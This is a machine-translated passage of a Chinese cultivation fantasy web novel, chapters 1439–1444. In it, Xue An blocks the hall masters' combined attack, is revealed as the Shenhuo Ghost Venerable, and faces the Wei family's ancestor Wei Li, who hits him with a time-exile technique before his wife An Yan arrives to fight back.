    Step by step as it is now, even facing several hall masters, they are calm and right, but it has never happened before.


    Xue An just watched quietly, with brilliance in his eyes, and then lowered his head, the corners of his mouth raised slightly, drawing a cold smile.


    At this time, the nine hall masters glanced at each other, and then briefly discussed, finally actually reached an agreement.


    "Okay! If this is the case, then we will believe you once, but boy, remember that if the secret storage is opened this time, the gains must be distributed by the nine of us!" Extreme Cold Emperor Jun said.


    "This is natural!" Wei Yuhua smiled slightly, nodded and agreed, then turned and returned to Wei''s house.


    Wei Jinglong''s expression was a little worried, as if he didn''t understand why Wei Yuhua did this.


    But when Wei Yuhua said something in his ear, Wei Jinglong''s complexion quickly improved and returned to normal.


    The negotiation has been decided, the nine main halls will be separated, and the Wei family and many wealthy members of the central ghost world will follow suit and stand separately.


    As for other casual cultivators or aristocratic families who have not yet reached their strength, they did not leave, but stood in the distance, wanting to see this unprecedented excitement.


    "Do it!" With Wei Yuhua''s soft drink.


    The masters of the Nine Great Halls urged the cultivation base together, turning into nine black awns that were as rough as mountain peaks, and directly enveloping the entire broken ground.


    Immediately afterwards, the big giants also started their efforts, and countless black awns gathered together and smashed into this broken place.


    boom!


    The black light oscillated endlessly, pushing the already fragmented space to reclose.


    This process is very difficult, and the spiritual power required is even greater.


    If it can''t be achieved by one person alone, fortunately, this time it is the Nine Great Hall Masters and all the elites of the Central Ghost Realm who are working together, which is enough to meet the needs.


    Click!


    With a crisp sound from the depths of the space, the originally broken space reunited, and the chaotic time and space was corrected back.


    This process was very slow, but in the end it was completely bridged with a bang.


    at the same time.


    The gate also completely revealed its body.


    Wei Yuhua laughed, "Secret hiding, secret hiding has finally opened! Hahahaha!"


    In fact, he was really proud and happy.


    Because he had already calculated all this for a long time, the reason why he returned to Wei''s house and brought so many people before was also to gather more people so as to completely open the secret store.


    Seeing that things are done now, how can he be unhappy?


    As for the promise to the Lord of the Nine Great Halls...


    Wei Yuhua''s eyes showed a touch of ridicule. There was the adult who pointed him to find this secret hiding place. What kind of **** Hallmaster was just a joke!


    After all, even the hall master, he was promoted by this adult himself!


    However, Wei Qingxiao''s face in the ghosts became extremely ugly.


    Could it be said that Wei Yuhua is really the son of destiny, the man whom destiny clocks?


    But Xue An on the side chuckled lightly, "What an idiot! I am so happy to be sold!"


    really.


    Just as Wei Yuhua laughed triumphantly, he saw the door suddenly let out thousands of lights.


    The glory of glory, piercing the eyes.


    at the same time.


    Amidst the brilliance of the sky a soldier in armor appeared.


    These soldiers were silent, only two groups of ghost fires in their helmets showed their identities.


    Evil spirits!


    Although the armors on these evil spirits were damaged, they were still exquisite like works of art, exuding extremely powerful power.


    Wei Yuhua''s laughter stopped abruptly.


    "It''s the evil spirit legion!" Someone screamed when they saw it, and the voice was full of infinite panic.


    The faces of everyone in the audience also turned pale.


    Because this evil spirit army is the peerless killing weapon under the master Mingjun back then!


    at the same time.


    These evil spirit soldiers rushed straight like locusts.


    Upon seeing this, Xue An patted his hands lightly, stood up and said lightly: "Okay, it''s time for us to play next!"

 Chapter 1439： One-handed

    Bang!


    With a loud bang, a ghost near the front was directly blown to the head.


    Although before dying, he applied his strongest attack to the evil spirit soldier opposite.


    But under the armor''s defense, all attacks are so weak and futile.


    And all this is just the beginning.


    When a large number of evil spirits flocked to the crowd frantically, the faces of all the ghost races changed.


    Because these evil spirit soldiers will not be afraid, will not be painful, will only charge forward, they can be called the most terrifying fighters.


    In contrast, even if your cultivation base is much higher than it, you will probably be helpless, not to mention that your attack may not even be able to penetrate its armor.


    As a result, the muffled sound of the body was mixed with the screams before death, forming a miserable movement, echoing in the entire secret.


    Some are timid, have already begun to retreat.


    Upon seeing this, Wei Yuhua couldn''t help yelling, "Don''t be afraid, kill all these evil spirit soldiers, Mingjun''s secret hiding place is ours!"


    This sentence refreshed many people.


    Especially the few palace masters from the land of punishment, all smiled when they saw this.


    "A mere soldier, dare to be rampant in front of me? Go to die!" Emperor Jihan let out a low roar, and a cold wave that could completely freeze the soul of a person swept out.


    Wherever they passed, the actions of these evil spirit soldiers were instantly slowed down and gradually frozen in place.


    one move.


    So almost all the evil spirit army was brought to a halt.


    Wei Yuhua was overjoyed when he saw this, "A good way to urge the lord!"


    But at this moment, the ghost fire hidden by the helmets of these evil spirit soldiers suddenly burst, and then these armors released a little light, shattering all the ice covering their bodies.


    The triumphant cold complexion sank, "I actually underestimated you! Take my trick again!"


    Speaking of chilling, he waved his hands and formed a mudra, pushing forward.


    boom!


    Countless Bing Ling rushed out like blades.


    Although these evil spirit soldiers who were the first to bear the brunt barely stood still in the icy cold wave, after a burst of dense and subtle crisp sound, the armor they were wearing also began to show subtle cracks, and eventually broke apart.


    As the armor shattered, these evil spirits instantly vanished.


    But this cold-inducing hand only completely wiped out the nearest evil spirit soldiers. As for the others, because of the obstacles in front, there was no serious problem, but they continued to rush forward without fear of death.


    Cui Han''s expression sank, and at this moment, the blood prison emperor''s strange smile came from beside him.


    "Huh, brother, it seems that you are still not good at it! It''s up to me!"


    As he said, he raised his hand and lightly touched the void, "Blood mist across the sky!"


    A blood mist that was too thick to dissolve appeared out of thin air, and then suddenly spread.


    Wherever they went, the armors of these evil spirit soldiers were corroded by the blood mist and made a sizzling noise, and the original smooth and bright surface also dimmed.


    But that''s all, because if you want to rely solely on the corrosion of these blood mists, it will take at least a stick of incense to completely eliminate these evil spirit soldiers.


    Seeing this, the blood prison emperor couldn''t help exclaiming.


    "What kind of armor is this that can actually resist my blood mist corrosion?"


    At this time, Chilling shouted, "What are you still doing? Hurry up and destroy these evil spirit soldiers!"


    Only then did several other hall masters start their hands one after another, wanting to wipe out these evil spirit legions.


    Among the ten great hall masters, only Rong Yang showed hesitation on his face and did not make a move.


    But people did not pay attention to these at this time.


    Because at this moment, the Dao Dao Guanghua gathered by the combined forces of the Eight Great Hall Masters has already attacked these evil spirit legions with a powerful force capable of destroying the world.


    A smug look appeared on Wei Yuhua''s face.


    As long as these surviving evil spirit legions are eliminated, everything in Mingjun''s secret storage will be mine!


    The breathing of other wealthy families also started to rush, staring at the battlefield, all wanting to know the results of the battle below.


    But at this moment, a figure suddenly appeared in front of the evil spirit army.


    Just at this time, the combined force of the Eight Great Hall Masters had already arrived.


    Many people didn''t even see who that figure was.


    Only Wei Qingxiao and Wen Muling screamed.


    Because it suddenly straddled the void, it was Xue An who appeared in the field.


    They watched as Xue An''s figure just emerged, and even if Xuan was swallowed by this powerful and unparalleled blow, they couldn''t help shaking slightly.


    What is he going to do?


    Isn''t this seeking death by yourself?


    But at this moment, I heard Xue An chuckle.


    "The momentum is quite strong, but it''s a pity that you''re so stubborn, it''s all superficial!"


    Following the voice, Xue An put one hand behind his back, only extended one hand, and then slowly erected it on his chest.


    boom!


    When the two collided, there was a loud noise that shook the sky and the earth, and the glory of Huaguang made people dare not look directly at it.


    But no matter how powerful this combined attack is, when encountering Xue An''s palm, it seems to have encountered an insurmountable obstacle, no matter how hard you try, you can''t save it.


    But although the front was blocked, the forces behind were still rushing forward.


    This is like a train. Although the front of the train is blocked by Xue An, the carriage behind it is still rumbling forward.


    at last!


    This combined attack was squeezed into an oblate shape by the surging Juli Sheng from behind, and when the volume expanded to the limit, it burst out.


    boom!


    A terrifying shock wave swept away with a powerful force of thunder, and everything it passed was unbreakable.


    There are a few unlucky ghosts and their ghost chariots just within the scope of the shock wave.


    If it is normal, they can be regarded as a strong side.


    But in front of this shock wave, they didn''t even have time to hum, they were directly evaporated into nothingness, and there was not even a bit of fly ash left.


    "How... how is it possible!"


    All the ghost tribes who witnessed this scene were silly, UU reading , but the most confusing ones are the eight hall masters.


    I saw them staring at everything in the field dumbfounded, and couldn''t believe their eyes.


    at the same time.


    The aftermath of the explosion gradually dissipated, and the blinding brilliance dimmed.


    Looking at the scene again, in the sky that had been swept away, Xue An stood with a smile, his clothes fluttering, and even his hair was not disturbed.


    It was as if the shocking blow just now was just a breeze.


    This scene shocked everyone inexplicably.


    Rong Yang exclaimed in a low voice, "Is it him?"


    As for Wei Qingxiao and Wen Muling, they couldn''t help taking a breath.


    Especially Wei Qing laughed, only feeling that he was soaked in cold sweat.


    But the shock in her heart was no less than that of others.

 Chapter 1440： The mystery is finally revealed

    She knew that Xue An was definitely not an ordinary person, but she never expected it to be so extraordinary.


    That was the combined blow of the Eight Great Hall Masters in the Land of Punishment!


    He was actually blocked with one hand!


    What a shocking strength this is!


    Although it was not the first time, Wei Qing couldn''t help but have that question in his heart.


    Who is he?


    However, if anyone in the audience was the most shocked and unacceptable, it would be Wei Yuhua, the third young master of the Wei family.


    He first looked at Xue An blankly, and then roared in anger and fright until a long while later.


    "It''s impossible, aren''t you a cook? Who are you?"


    This sentence is extremely stupid.


    Because there is no such a powerful cook in the world?


    But this also proves that Wei Yuhua is in chaos at the moment.


    Xue An smiled faintly, "Why do you all like to ask me this question? Then I will say it again, my name is Xue An! Do you remember this time?"


    Xue An!


    Everyone looked at each other, then gently shook their heads, all feeling very strange to the name.


    Wei Yuhua still failed to wake up from the shock just now, and was looking at Xue An with a dull expression.


    Because the blow just hit him was too big!


    You must know that he has exhausted all kinds of hardships, and finally he was promoted to the palace master class powerhouse.


    At his age, this is already an extremely impressive result.


    But even so, he was still far behind these powerful palace masters in the Land of Punishment.


    Nevertheless, he was already very satisfied and proud.


    Unexpectedly, the white-clothed young man standing in front of everyone at this moment was able to fight the combined blow of the Eight Great Hall Masters with his own power, and seemed to be calm and effortless.


    This difference in strength is no longer a matter of crushing or not, but enough to kill him directly.


    This is naturally unacceptable to Wei Yuhua, who has always been arrogant and self-esteem.


    Just when Wei Yuhua fell into doubt and self-doubt, it was difficult to extricate himself.


    The eight hall masters were also staring at Xue An, their expressions fluctuating.


    Then I saw Emperor Cuihan took a deep breath and held a fist at Xue An, "Friend, I am extremely cold in the place of punishment..."


    Before he finished his words, Xue An waved his hand impatiently, "Don''t introduce yourself, I don''t want to know you either. They are all very busy.


    The arrogance contained in this sentence made Dijun Jihan''s complexion extremely ugly in an instant, and even the whole person trembled slightly with extreme anger.


    No one has ever dared to despise himself so much, I must shatter the body of this young man in white!


    Just when the extremely cold emperor''s heart roared wildly.


    Xue An raised his eyes and scanned the surrounding fields, and said lightly: "I know you all came for this secret hiding place of Mingjun, but I''m sorry, this secret hiding place is very useful to me, so..."


    Xue An raised his hand to the huge door behind him, and said lightly: "Now it''s mine!"


    This sentence caused a violent commotion in the audience.


    The eight main hall masters were even more angry and smirked.


    "Boy, don''t dare to be so arrogant if you feel that you have a little strength!" The Blood Prison Emperor Jun said gloomily.


    Xue An glanced at him sideways and said softly, "I''m so arrogant, what''s wrong?"


    "You..." The blood prison emperor was about to vomit blood.


    At this moment, Wei Yuhua suddenly said loudly: "Why? I discovered this secret treasure first, and it was just after everyone''s efforts that the broken ground was bridged. Why did you become yours in a word? No matter how good you are, you have to be reasonable!"


    There is a great inflammatory implied in these words, which makes many people''s faces become very unkind.


    But Xue An just smiled coldly at this, "Why? Okay, then I will tell you now, why should I!"


    With that said, Xue An turned his head and glanced at the evil spirit army behind him that had fallen apart because of the shock wave, and said lightly: "Array!"


    Give an order.


    The ghost fire in the eyes of these evil spirits suddenly flourished, and the scars on their armor began to be quickly repaired, and then they quickly arranged the formation, standing behind Xue An, bowing his head.


    This scene made everyone silent.


    Xue An said coldly: "Did you see it? This secret store is mine. Why do you say it?"


    Wei Yuhua''s boss with an open mouth made a gurgling noise in his throat, as if he couldn''t believe that everything in front of him was real.


    Who is he?


    Why can these evil spirits be ordered?


    At this time, Xue An said calmly: "I am not the kind of unreasonable person. Now I give you a chance. As long as I leave here obediently now, I can act as if nothing has happened! Otherwise, I will kill you!"


    The three words "Kill Wu Amnesty" were exported, and an overwhelming killing intent instantly enveloped the audience.


    Someone with a shallow cultivation base was immediately frightened and kneeled to the ground, unable to move.


    Even the great hall masters felt chills in their hearts and couldn''t help but tremble slightly.


    Wen Muling''s eyes were colorful, and in her eyes, Xue An''s appearance of shouting to make the heroes rampant was really domineering.


    Many people looked unwilling, but they could only lower their heads, and then they wanted to turn around and leave.


    After all, the gap in strength is so big that they can''t resist it.


    But Wei Yuhua was anxious.


    Because he had agreed to the adult who instructed him to find this secret place, and he would definitely take this secret place completely.


    If you can''t, Wei Yuhua can''t help feeling cold all over when thinking of the adult''s shocking methods.


    So he couldn''t help shouting: "I don''t believe it, you must have used some shameful secret technique. Don''t believe him, I don''t believe that he can really deal with so many of us!"


    As soon as the voice fell, Xue An''s eyes flashed cold, and an invisible force blasted in front of Wei Yuhua.


    "Hua''er!" Wei Jinglong exclaimed, reaching out to save his son.


    It may be too late.


    Without even humming, Wei Yuhua was blasted out by this powerful force, leaving a bloodline in the air.


    Xue An didn''t even move, but watched quietly, until Wei Yuhua barely stopped his figure before speaking.


    "Why? It''s this time, why don''t you still refuse to show up?"


    What do you mean?


    What is he saying?


    Everyone couldn''t help but be puzzled.


    At this moment, a faint sigh came from the void, and then I heard someone speak in a very cold voice.


    "Shenhuoguizun, I have been trying my best to avoid conflicts with you, but you have repeatedly forced me to show up why is this?"


    Shenhuoguizun?


    When these four words came out, the expressions of everyone in the audience instantly changed.


    Including all the palace masters who were still full of disgust, after hearing this name, they couldn''t help showing infinite horror.


    It''s not that they are timid, it''s that this sacred fire ghost, who was not inferior to Mingjun in terms of strength, was really too big.


    Until now, it is still the most terrifying nightmare and taboo in many people''s hearts.


    Could it be said that this white-clothed boy is really the long-lost **** fire ghost venerable?


    All the eyes of the audience suddenly focused on Xue An.


    The corners of Xue An''s mouth rose slightly, revealing a cold smile.


    "If I don''t force you, how can someone who is disturbing the situation in the infernal **** like you be willing to appear? Am I right?"


    "Ancestor of the Wei Family?"

 Chapter 1441： To restore the essence

    The ancestors of the Wei family?


    Xue An''s name made many people look at each other.


    Especially the elders of the Wei family and the Patriarch Wei Jinglong, were even more disillusioned.


    Because if what Xue An said is true, then all this is incredible!


    At this moment, following Xue An��s questioning, there was a figure slowly emerging in the void, and when the figure appeared completely, it was an old man with white hair.


    As soon as the old man appeared, Wei Yuhua knelt on the ground overjoyed, and said in a trembling voice: "I have seen an adult!"


    But the old man didn''t pay attention to Wei Yuhua''s shout at all, but stared at Xue An and asked in a deep voice.


    "Shenhuoguizun, even though I have repeatedly improved my evaluation of you, I still look down on you now! When did you know my identity?"


    Xue An smiled freely, raised his hand to Wei Yuhua, who was kneeling beside the old man, and said lightly: "It''s very simple. When I saw him show the power of the Wei family''s blood, I already guessed it!"


    "Bloodline power?" The old man frowned slightly.


    Xue An nodded and said faintly: "With this Wei Yuhua''s strength, it is impossible to stimulate the power of bleeding, but he did it. This is worth doubting in itself!"


    "What''s more..." Xue An smiled, "You offspring are so stupid, you don''t know to hide the secret of your bloodline, so I can easily see that there is a strange power in his bloodline. It seems to be... from the breath fluctuation of the blood ancestor!"


    "So I''m pretty sure someone is behind the scenes! Am I right?"


    The old man suddenly kicked Wei Yuhua who was kneeling in front of him, and then nodded his face sinkingly, "Yes! I am indeed the ancestor of the Wei family, my name is Wei Li!"


    As soon as this name came out, many people looked blank.


    Only those strong men with strong strength and longevity were startled first, and then they appeared in horror.


    "It''s actually him! How could it be possible! Didn''t he fall three thousand years ago?"


    "If it is really him, he has lived for at least 20,000 years!" The great hall masters of the Land of Punishment whispered in unison.


    At this time, all the members of the Wei family headed by Wei Jinglong, the head of the Wei family, were ecstatic.


    "I have seen the ancestors!"


    These shouts come and go, and those who are excited are already crying with joy.


    The reason for being so excited is because Wei Li''s position in Wei''s family is extremely special.


    He is not only the founder of the Wei family, but also the strongest person in his inheritance.


    There are many legends and stories about him.


    So if it is this old ancestor, then the strength of the Wei family will usher in an even greater leap, and may even unify the entire ghost world!


    Therefore, these talents in Wei''s family will be so excited.


    Wei Jinglong knelt and climbed a few steps, and shouted: "The 231st patriarch Wei Jinglong has seen the first generation patriarch!"


    Wei Li''s complexion was calm, and he said lightly, "Get up all!"


    Then he refocused his attention on Xue An.


    "Shenhuo Guizun, you are indeed amazing, but I don''t understand a little!" Wei Li said with a sneer, slowly speaking.


    "What happened to you that actually caused your strength to decline like this?"


    This question made many people a little dumbfounded.


    With one hand breaking the Eight Great Hall Master��s combined blow, this shocking power has actually declined?


    If there is no decline, how good is he?


    Many people can''t help but raise this question.


    Xue An just smiled noncommittal about this, and then said faintly: "It seems that you investigated me very carefully! If I am not wrong, the demon queen who invaded Mingxin Palace before should be yours. !"


    Wei Li nodded, "Yes!"


    In fact, Wei Li knew that the long-lost Shenhuo Ghost Venerable had actually returned because of the transmission of the Demon Empress before her death!


    At this time, Wei Li''s eyes flashed Guanghua, and then he said in a deep voice: "No matter how your strength declines, I really have no intention of fighting with you. As long as you let this secret place now, then we will still be innocent. How about the river?"


    Xue An smiled, her smile was brilliant, but her eyes were full of coldness.


    "Does the well water violate the river water?" Xue An shook his head, "Do you think this is possible?"


    "You..." Wei Li''s complexion changed, and he said grimly: "Shenhuoguizun, I respect you as a strong man, so I have to bear with you again and again, don''t toast or not eat or fine wine!"


    "Respect me for being a strong man?" Xue An smiled coldly, raised his hand to the door behind him, and said lightly: "Do you respect the strong man so much? If I guess right, Mingjun''s death should also be you. Do it on your back!"


    Wei Li''s complexion gradually darkened, and murderous intent appeared in his eyes, "So what?"


    Xue An comforted his palm and praised, "Very good, just admit it! If you say this, everything will be right!"


    Wei Li frowned slightly, a hint of impatience appeared on his face, "What are you trying to say?"


    Xue An''s smile became colder, "It''s very simple, I only ask you three things now!"


    "First, in the battle against the Chinese gods ten thousand years ago, was the yin aura that haunted you?"


    This sentence made many people look dumbfounded, and they didn''t know what Xue An was talking about.


    But Wei Li''s expression changed drastically, and he stared at Xue An, "You...how do you know this?"


    "Don''t ask me how I know this, just tell me now, yes or no?"


    The expression on Wei Li''s face changed, but soon he gradually recovered his calm Only this time there was no more smile on his face, replaced by an extremely cold killing intent.


    "I finally understand, Shenhuo Guizun, you are actually a member of the Chinese nationality! You Chinese are really lingering! Things that have been in the past ten thousand years are still entangled!"


    "Yes, I did participate in the slaughter of the Chinese gods back then, and there were other gods like Li Hen Tianjun who were fighting alongside me at the time!"


    Xue An nodded, "I know those, and they have been solved by me!"


    Wei Li''s expression changed, but soon he sneered, "So, you are here to avenge the Chinese?"


    "If you have a wrongdoer, you have a debtor. Of course you have to repay your grievances, but you have to ask some things clearly! For example, when you and Li Hentian Jun worked so hard, who is the messenger behind?


    Wei Li laughed loudly when he heard the words, "Shenhuoguizun, don''t you think these questions are too naive? Do you think I will tell you? And even if I tell you, what can you do? It''s not you at all. An imaginable existence!"


    At this moment, Xue An suddenly said indifferently: "The power of darkness is too thick to dissolve, right?"

 Chapter 1442： Exile of Time

    This sentence made Wei Li swallow all the words that followed, staring at Xue An fiercely, his scarlet tongue licked his chapped lips, "Shenhuo Guizun, you know too much! And know too much, too. The more dangerous it is, I think you should know this truth!"


    Xue An just smiled coldly, "Threatening me?"


    Wei Li said: "Do you think I still threaten you?"


    Xue An was noncommittal, "The third question, where is Qian Xirui, a kidnapped girl in Feng Devil Town?"


    At this time, Wei Li''s momentum was like a raging wave, climbing up crazy.


    A trembling force appeared in the world.


    The sun, the moon and the stars all hid and disappeared.


    All the people present were horrified and then retreated. Some of the low-powered could no longer stand, and could only crawl on the ground, shivering.


    Even the great hall masters in the Land of Punishment showed infinite horror at this moment.


    The extremely cold emperor said in a moaning manner: "Yes...it is the power of the emperor! He is a true immortal king!"


    at the same time.


    Under Wei Li''s turbulent momentum, Xue An looked like a flat boat in the storm, and was in danger of capsizing at any time.


    But even so, Xue An still stood up like a sword, without backing up.


    Wei Li Jiejie laughed strangely, "Shenhuo Guizun, don''t you think that you are a little too wide? You have to ask even a little girl! Is it worth it?"


    Xue An said lightly: "She is worth it, you...not worth it!"


    "Humph!" Wei Li let out a cold snort, "In this case, then I will tell you that the little girl has actually awakened a rare bloodline talent, so I have sent her to a place you will never find. The place, there is the dark holy place, the most terrifying and evil place among the heavens, hahahaha!"


    Wei Li laughed wildly.


    Xue An''s eyes grew cold, and he said quietly: "Dark Holy Land...Dark Paradise Lost?"


    Wei Li''s laughter stopped abruptly, staring at Xue An in a daze, "You...how do you know that place?"


    Xue An smiled, "It seems that your main messenger should also come from there!"


    "Looking for death!" Wei Li finally became angry.


    Originally, he really did not want to conflict with Xue An, because he was also quite jealous of Xue An''s sacred fire.


    But now that the words have been said, there is an endless feud between the two, naturally there is no room for maneuver.


    Especially Xue An broke the secret in a single word, and said the dark paradise lost.


    This made Wei Li more and more jealous of Xue An, and even eager to get rid of it.


    That''s why he didn''t hesitate to pay a huge price, but also to release his strength and destroy Xue An in one fell swoop.


    What is the real power of the fairy king?


    Describe it like this!


    If the combined blow of the Eight Great Hallmasters just now was 1, then Wei Li��s blow is now 10!


    And this is because Wei Li''s ontology hasn''t come, just because of the clone.


    And this is also the first time Xue An has faced a real Immortal King powerhouse since he was reborn.


    Seeing the boundless black flame blasting straight forward, wherever it passed, the space that had just been bridged broke once again.


    The violent power even shook the entire secret realm.


    Everyone felt that an invisible force was pulling themselves crazy.


    This is because the space is shaking wildly because of Wei Li''s blow.


    "My lord!" Wei Qing laughed and Wen Mu Ling all exclaimed.


    After knowing Xue An''s true identity, Wei Qing laughed in her heart.


    Shenhuo Guizun, that''s a legendary character!


    He said that such an existence can cure his brother''s illness, and his brother will definitely recover!


    So when Wei Li''s identity was revealed, Wei Qingxiao didn''t feel much, but continued to focus all of his attention on Xue An.


    Seemingly hearing the shouts of the two, Xue An turned his head to look at them.


    Although it was just a glimpse, Wei Qingxiao still felt the peace in Xue An''s eyes and a hint of... a smile!


    Ok? Smile?


    Facing such a blow, he was still laughing?


    Wei Qing laughed for a moment.


    Xue An murmured: "Okay, the time has come!"


    With that, Xue An squeezed his fingerprints, and Wei Haocang, who was standing next to Wei Qingxiao with a silly smile, disappeared in an instant.


    When he appeared again, he had come behind Xue An.


    Wei Qingxiao didn''t react until seeing his younger brother appearing behind Xue An, and she couldn''t help exclaiming, "Cang''er!"


    at the same time.


    Wei Li''s attack has already hit the front.


    Xue An slowly raised his hands, his fingers connected to the void like a lotus flower, and in a flash, he painted a huge and complicated seal in the air.


    As soon as Fayin took shape, Wei Li''s blow had already arrived.


    Amid the cracking sound of space, Xue An was directly shaken back a hundred meters away, but at the same time, this seal was like a flawless mirror, directly refracting Wei Li''s blow in other directions.


    boom!


    What Juli is referring to is the gate floating in the air!


    Under the power capable of destroying everything, this door only swayed slightly, and then slowly opened.


    "Secret Vault is about to open!" someone exclaimed.


    Wei Li''s expression also changed. This God Fire Ghost Venerable actually opened the secret hiding door with his own blow. What is he going to do? Do you want to escape into secret hiding?


    Just when all the thoughts flashed past in his mind.


    Xue An grabbed Wei Haocang, exhaled, "Man, I''ll give you a ride, let me go!"


    With that, he was like throwing a ball, directly throwing Wei Haocang into the secret door that had just opened a gap.


    boom!


    When Wei Haocang''s figure disappeared behind the door, the secret door slammed and closed again.


    "No!" Wei Yuhua, who was full of blood, let out a scream, then shouted at Wei Li.


    "Old ancestor, the one who was just thrown in by this guy is a fool in the family! If he gets the inheritance of Mingjun, it will be all over!"


    Wei Li is also angry at this moment, not only because of Mingjun inheritance, but more importantly, he feels that he has been used!


    What''s more, he could feel that he could not maintain his current strength for long, so he roared under the anger.


    "Xue This is your own death!"


    After all, Wei Li''s hands formed an extremely complicated handprint, "Time!"


    boom!


    Everything around him stopped for an instant, and even the omnipresent light stayed in the air.


    As for Xue An, it seems that it has also been affected, with a sluggish expression on his face.


    At this time, Wei Li''s face showed a sullen and cheerful smile, slowly chanting in a voice that looked like a nine-day god.


    "Exile!"


    Say what you say!


    An extremely dark brilliance instantly fell on Xue An''s head and then completely covered it.


    In an instant, most of Xue An, who was still standing on the sky, disappeared, and there was only a thin outline of phantom in the field.


    Shaky, as if...will disappear at any time!

 Chapter 1443： Dont sleep, get up and work!

    Time exile technique!


    A strange and terrifying mystery, once deployed, it can expel people from the wilderness of time, making them lose their original timeline, and become a lonely ghost wandering between heaven and earth, never able to return to the long river of time. .


    And because this secret technique involves the power of time, it also has an extremely powerful feature of ignoring defense, even if it is a strong person of the same level, it will be lost if it is careless.


    All these characteristics have made this secret technique a big killer with strong ultimate lethality.


    But because the time-type secret arts were originally extremely weird, even among those Void Masters, there were very few such inheritances.


    So even in the heavens, this is an extremely rare existence.


    Only in the dark paradise lost there is a complete inheritance of time mystery.


    This is why Wei Li can perform this secret technique.


    After all, even if he is the fairy king, it is impossible to cultivate this kind of big-killer-level secret technique by himself.


    In fact, he had only obtained certain inheritance of the Dark Paradise Lost, and he was so arrogant.


    However, the more powerful this secret technique, the higher the requirements for the caster.


    In particular, Wei Li is not descending from the main body now, but to perform such a secret technique as a clone. The pressure this brings to him is naturally more terrifying.


    He was trembling all over, and cracks appeared on his body, and his aura fell to the bottom.


    The strength is even more of an instant loss!


    But even so, his face is still full of cheerfulness.


    Because of Xue An''s sacred fire, he was extremely jealous.


    Being able to pay a price to get rid of it now naturally saves him a lot of hands and feet.


    As for the remaining shadow outline...


    There was a sneer at the corner of Wei Li''s mouth, and he didn''t take it seriously.


    Because as long as it is a person who is caught in the Great Exile of Time, even if it is a strong immortal king, it will have to fall.


    At most, it is just a struggle for a while, but the end result is still to sink into the abyss of time obediently and never crawl out.


    What''s more, in Wei Li''s view, Xue An''s current strength is declining extremely severely, so it is nothing to be afraid of.


    At the same time, the audience also shook.


    "Dead? Hahahaha! Finally dead! Let you fight against my Wei family, now taste the consequences!"


    Wei Yuhua was full of blood and laughed happily.


    Wen Muling and Wei Qingxiao both shook their bodies and exclaimed, "My lord!"


    Then tears came out of his eyes.


    But at this moment, a bit of Huaguang suddenly flew out of the only remaining phantom outline, and increased sharply in the air, instantly turning into a small building with extremely exquisite shapes.


    Wei Li was startled slightly, Xuan even licked his lips greedily, "Fu Bao?"


    For a powerhouse of his level, Talismans are not rare.


    But this small building has a unique shape and a very agile breath, which obviously has a sense of autonomy.


    Such treasures are rare, and Wei Li is naturally moved.


    But before he could take any action, the small talismanic building suddenly began to shake slightly, and suddenly a thousand rays of light were emitted.


    In this dazzling brilliance, several figures slowly emerged.


    When Guanghua dissipated, everyone was stunned.


    Because what appeared in the field was a stunningly beautiful picture.


    I saw that standing in the forefront was a beautiful and beautiful woman with a noble temperament, which made many people feel embarrassed just by looking at it.


    Behind her, there are two little girls who are exactly the same in appearance and height.


    There were two young girls standing beside the little girl.


    These two girls have a fleshy bun face, delicate and cute.


    The other is born with a pair of thrilling foxes, and looks stunning and exquisite, which makes people fascinated by just the first glance.


    Such a sudden scene made the audience quiet.


    Wen Muling and Wei Qingxiao looked at them in a daze. It was not until a moment before they came back to their senses. Then they looked at each other and saw the sadness in each other''s eyes.


    Both of them had seen An Yan, and naturally knew that this was Xue An''s wife.


    But at this time, An Yan and the others dared to show up. In Wei Qingxiao''s eyes, it seemed like a sheep''s mouth.


    really.


    Wei Li also recovered from the slight shock just now, and then a greedy color appeared in his eyes.


    Although he had lived for 20,000 years, he was amazed by the beauty of the women in front of him.


    So he couldn''t help laughing, "Yeah, so many came out after one shot! It seems that my old man is really lucky today!"


    An Yan didn''t speak. At this moment, she was staring at the outline of the phantom, with a complicated expression on her face.


    There is consternation, sadness, but more...anger!


    That''s right!


    It''s the kind of anger that can burn everything!


    So when he heard Wei Li''s ridiculous words, An Yan took a deep breath, raised his hand to stop Hu Ying, who was also falling into anger, and then looked at Wei Li with cold eyes.


    "Is my husband beaten by you?" An Yan''s voice was calm, without a trace of ripples.


    But just under this calm, it contained a turbulent killing intent.


    Wei Li smiled, "Husband? Shenhuo Guizun is actually your husband? That''s really regrettable, because starting today, you will be widow! Because your husband is dead! Hahahaha!"


    "You are talking nonsense, my dad is not dead!" Think about it suddenly yelled out from behind An Yan.


    "That''s right! My father won''t die, he is the most powerful person in the world! You, a big bad guy, will die! And it will die very miserably! Even the dead body will not be left!" Nian Nian waved herself. Said angrily over his small fist and face.


    "Hehe, the two little girls'' films are really sharp!" Wei Li sneered.


    But even he didn''t notice it. Just as Nian Nian was speaking, the opportunity between heaven and earth seemed to be quietly changed.


    At this time An Yan nodded Very good! Since my husband was beaten like this by you, I naturally want to avenge him today! "


    "Vengeance? It depends on you?" Wei Li smiled happily.


    He enjoys the feeling now, because he can clearly perceive that An Yan is just a half-step true fairy.


    This kind of cultivation is not even considered an ant to him, even if his strength has fallen by half now, he can be wiped out with a single breath.


    But in the face of Wei Li''s ridicule, An Yan did not show the slightest anger, but became calmer.


    I saw that she slowly raised her hand, and a strangely shaped "Weapon Blade!"


    It looks like a pan!


    Wei Li was taken aback, and then laughed loudly: "What? Do you want to avenge your husband with this pot? It''s a real laugh!"


    As if she hadn''t heard it, An Yan lowered her head and said softly to the pan: "Lei Zun, don''t sleep, get up and work!"

 Chapter 1444： An Yan who is so powerful

    Because after such a long time without incident, the Spirit Lei Zun in this pan has fallen into a deep sleep.


    After hearing An Yan''s call, Lei Zun gradually woke up, and then yawned and said: "My lord, who are you going to beat... Oh grass, fairy king!"


    When it came to the words Immortal King, Lei Zun''s voice was trembling and almost broken.


    An Yan firmly grasped the handle and said in a deep voice, "What can the fairy king do? Are you confident?"


    Lei Zun was almost frightened, "Master Mistress, let''s not have fun like this! I''m just a little Lei Zun, but I am a powerhouse at the fairy king level, I..."


    Before he finished his words, An Yan slowly raised the pan, and said lightly: "I see! That means you have no confidence?"


    "Of course not..."


    "But I have! Because...!" An Yan interrupted Lei Zun''s words without hesitation, and then gave a soft drink, his figure flashed, and the whole person rushed to Wei Li with a sneer on his face with a decisive force.


    "I want to avenge my husband!"


    After all, An Yan rushed to Wei Li, raised the pan and patted it down.


    "Ah ah ah ah ah ah ah ah!" Lei Zun was almost frightened. In his life, he had never thought that he would one day fight a powerful immortal king.


    madman! All crazy!


    This is the case of the master, and I did not expect that even the gentle mistress is the same!


